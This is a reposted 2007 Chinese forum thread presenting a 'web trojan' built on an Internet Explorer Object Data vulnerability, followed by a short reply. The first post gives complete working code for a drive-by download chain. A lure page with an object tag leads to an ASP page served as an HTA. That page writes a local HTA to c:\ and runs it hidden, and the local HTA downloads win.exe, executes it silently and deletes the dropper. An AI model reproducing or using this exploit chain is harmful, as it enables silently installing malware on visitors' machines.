忘记密码
 新成员注册
查看: 861|回复: 1

[转帖]利用IE Object Data漏洞实现之网页木马

[复制链接]
我的人缘0
发起活动
0 次
参加活动
0 次
胡力文 发表于 2007-6-17 18:00 | 显示全部楼层 |阅读模式

你还没有登录,登录后可以看到更多精彩内容

您需要 登录 才可以下载或查看,没有账号?新成员注册

×
近来ie又出了个暴大的洞,该漏洞主要是ie没有对object实际内容进行审核,而只审核了后缀名(真想不到都这年代了,微软居然还用这么这么土的方法来实现安全保护,晕@##@)。

接下来谈些简单利用,以下代码不得用于非法目的,否则后果自负!


原理:

一、internet explorer object data remote execution vulnerability

利用internet explorer object data remote execution vulnerability
eeye digital security在8月20号公布了这个漏洞,该漏洞是由于html中的object的data标签引起的。对于data所标记的url,ie会根据服务器返回的http头中的content-type来处理数据,也就是说如果http头中返回的是application/hta等。那么该文件就能够执行,而不管ie的安全级别多高。

------------在木马种植页面中插入如下代码-------------------

<object data="http://127.0.0.1/test.test";;;></object>

然后更改服务器的mime映射为扩展名.test对应application/hta
-------------------------------
这http://127.0.0.1/test.test内容的hta页面就会被用户ie所执行。


当然上面提到的再服务器端修改mime映射,也可以直接适用asp、jsp等动态脚本来实现相同功能。
例如:可以直接使用如下代码:

------------test.htm(木马种植页面)中插入如下代码-------------------
<object data="http://127.0.0.1/test.asp";;;></object>
-------------------------------

---------test.asp(木马主页面)顶部写如下代码----------------------
<%response.contenttype="application/hta"%>
-------------------------------

二、网页木马原理

所谓网页木马,个人理解:就是当用户浏览某网页时,自动下载并运行某一“木马”程序,进而通过该程序实施控制。
由于hta具有本地用户权限,相当于一个application,因此,我们就可以利用上面的漏洞来实现网页木马的基本功能。
要实现网页木马功能,那么必须要解决木马的下载与运行问题,运行相信大家很容易就可以想到<object id=wsh

classid=clsid:f935dc22-1cf0-11d0-adb9-00c04fd58a0b></object>
,关键是木马的下载。

文件的操作在hta中主要可以通过fso和adostream两个组件来实现,但是fso比较适合操作文本文件,要实现操作二进制文件还得用到后面的这

个adostream组件,但是我们可以发现当一个在ie里面运行的hta程序是有作用域限制的,因此无法使用adostream来操作本地文件。所以我们必

须要在本地运行一个hta程序,而hta正是文本文件,所以,我们只要通过fso来操作生成一个本地的hta,继而运行该hta得到我们想要达到的目

的。

至于文件下载还会用到xmlhttp这个组件,关于这个组件这里就不作介绍。

从上面的分析,我们需要通过两个hta来实现网页木马,一个是在ie中运行,进而尤其生成本地hta,再通过本地hta下载木马,并运行之。好,

我们可以开工了!

三、具体实现过程不作解释,代码如下:


------------test.htm(木马种植页面)中插入如下代码-------------------
<html>
<body>
this is a test&nbsp;
if success,,your os will download a appliction and auto run it&nbsp;
of course,os must be 2k/xp/nt/2003..... and didn't patch.
<object data="http://127.0.0.1/test.asp";;;></object>
</body>
-------------------------------

---------test.asp(木马主页面之一:生成本地hta)顶部写如下代码----------------------
<%response.contenttype="application/hta"%>

<html>
<object id=wsh classid=clsid:f935dc22-1cf0-11d0-adb9-00c04fd58a0b></object>
<script language="vbscript">
function httpdoget(url)
set oreq = createobject("microsoft.xmlhttp")
oreq.open "get",url,false
oreq.send
if oreq.status=200 then
httpdoget=oreq.responsetext
savefile httpdoget,"c:\win.hta" '在c:根目录下生成hta文件
set oreq=nothing
end if
end function
'保存文本文件,生成本地hta。
sub savefile(str,fname)
dim fso, tf
set fso = createobject("scripting.filesystemobject")
set tf = fso.createtextfile(fname, true)
tf.write str
tf.close
exewin()
end sub
'运行函数
sub exewin()
set wshshell=createobject ("wscript.shell" )
a=wshshell.run ("cmd.exe /c c:\win.hta",0)
window.close
end sub
'得到本地hta文件
httpdoget("http://127.0.0.1/ism.mm";;)
</script>
</html>
-------------------------------


---------ism.mm(木马主页面之二:本地hta页面)顶部写如下代码----------------------
<html>
<object id=wsh classid=clsid:f935dc22-1cf0-11d0-adb9-00c04fd58a0b></object>
<script language="vbscript">
function httpdoget(url)
set oreq = createobject("microsoft.xmlhttp")
oreq.open "get",url,false
oreq.send
if oreq.status=200 then
httpdoget=oreq.responsebody
savefile httpdoget,"c:\win.exe" '在c:根目录下生成exe文件
end if
set oreq=nothing
end function
'保存二进制文件,在本地生成exe文件。
sub savefile(str,fname)
set objstream = createobject("adodb.stream")
objstream.type = 1
objstream.open
objstream.write str
objstream.savetofile fname,2
objstream.close()
set objstream = nothing
exewin()
end sub
'运行函数,执行已经下载的exe程序。
sub exewin()
set wshshell=createobject ("wscript.shell" )
a=wshshell.run ("cmd.exe /c c:\win.exe",0)
b=wshshell.run ("cmd.exe /c del c:\win.hta",0)
window.close
end sub
'得到远程木马程序
httpdoget "http://127.0.0.1/win.exe";;

</script>

</html>
踩过的脚印
充实自我,展现自我!没有完美的个人,只有优秀的团队!计协我的家,建设靠大家!只有真正的融入了,你才会体会快乐哦~
我的人缘0
发起活动
0 次
参加活动
0 次
龙能跃 发表于 2007-6-19 20:03 | 显示全部楼层
其实我也看不懂的,不过还是谢谢你来帮我灌水呀~
充实自我,展现自我!没有完美的个人,只有优秀的团队!计协我的家,建设靠大家!只有真正的融入了,你才会体会快乐哦~
您需要登录后才可以回帖 登录 | 新成员注册

本版积分规则

QQ|手机版|CA之家 ( 桂ICP备07006672号-6 )

GMT+8, 2025-9-18 18:55

Powered by Discuz! X3.5

© 2001-2025 Discuz! Team.

快速回复 返回顶部 返回列表